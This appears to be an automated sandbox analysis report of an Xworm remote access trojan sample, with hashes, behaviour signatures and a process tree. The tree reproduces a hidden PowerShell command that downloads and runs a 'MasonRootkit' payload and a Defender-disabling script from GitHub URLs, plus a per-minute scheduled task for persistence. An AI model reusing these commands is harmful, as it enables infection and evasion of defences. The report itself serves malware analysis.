Analysis

  • max time kernel
    106s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28/03/2025, 11:05

General

  • Target

    xxrkjufx.exe

  • Size

    158KB

  • MD5

    c3e0163f33f6f98ecc65bf60b9022561

  • SHA1

    de888c64e6662b2534d473932f04621b14b151d9

  • SHA256

    148ce380f43064c984912052dddb24ebce738607fcd942264133b849f9c024ec

  • SHA512

    c4875a56bec414de6277aaa0828778ef920aab8305af8e256a59c997824ce4aff016392ce16a493fa778b0a3e09206701d2b31b4f78c39ab45027f9eee418547

  • SSDEEP

    3072:LfFz74sSFhbKHj/3bOHNOOOOOOOHOOOOOOO/OOOOOOOk:LNAsyhbZOOOOOOOHOOOOOOO/OOOOOOO

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    MasonUSB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xxrkjufx.exe
    "C:\Users\Admin\AppData\Local\Temp\xxrkjufx.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2516
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "xxrkjufx" /tr "C:\Users\Admin\AppData\Roaming\xxrkjufx.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2680
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {D32CA292-A11D-444B-9B8E-F5AC2CE9C306} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
      C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2740
    • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
      C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1676
    • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
      C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
      2⤵
        PID:2816

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      71KB

      MD5

      83142242e97b8953c386f988aa694e4a

      SHA1

      833ed12fc15b356136dcdd27c61a50f59c5c7d50

      SHA256

      d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

      SHA512

      bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

    • C:\Users\Admin\AppData\Local\Temp\TarC0B7.tmp

      Filesize

      183KB

      MD5

      109cab5505f5e065b63d01361467a83b

      SHA1

      4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

      SHA256

      ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

      SHA512

      753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

    • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe

      Filesize

      158KB

      MD5

      c3e0163f33f6f98ecc65bf60b9022561

      SHA1

      de888c64e6662b2534d473932f04621b14b151d9

      SHA256

      148ce380f43064c984912052dddb24ebce738607fcd942264133b849f9c024ec

      SHA512

      c4875a56bec414de6277aaa0828778ef920aab8305af8e256a59c997824ce4aff016392ce16a493fa778b0a3e09206701d2b31b4f78c39ab45027f9eee418547

    • memory/1676-57-0x0000000001320000-0x000000000134E000-memory.dmp

      Filesize

      184KB

    • memory/2340-11-0x000000001B0F0000-0x000000001B170000-memory.dmp

      Filesize

      512KB

    • memory/2340-0-0x000007FEF6113000-0x000007FEF6114000-memory.dmp

      Filesize

      4KB

    • memory/2340-53-0x0000000000FE0000-0x0000000000FF2000-memory.dmp

      Filesize

      72KB

    • memory/2340-54-0x000007FEF6113000-0x000007FEF6114000-memory.dmp

      Filesize

      4KB

    • memory/2340-55-0x000000001B0F0000-0x000000001B170000-memory.dmp

      Filesize

      512KB

    • memory/2340-1-0x0000000001200000-0x000000000122E000-memory.dmp

      Filesize

      184KB

    • memory/2516-9-0x0000000002B50000-0x0000000002BD0000-memory.dmp

      Filesize

      512KB

    • memory/2516-8-0x0000000001E90000-0x0000000001E98000-memory.dmp

      Filesize

      32KB

    • memory/2516-7-0x000000001B570000-0x000000001B852000-memory.dmp

      Filesize

      2.9MB

    • memory/2516-6-0x0000000002B50000-0x0000000002BD0000-memory.dmp

      Filesize

      512KB

    • memory/2740-22-0x00000000002F0000-0x000000000031E000-memory.dmp

      Filesize

      184KB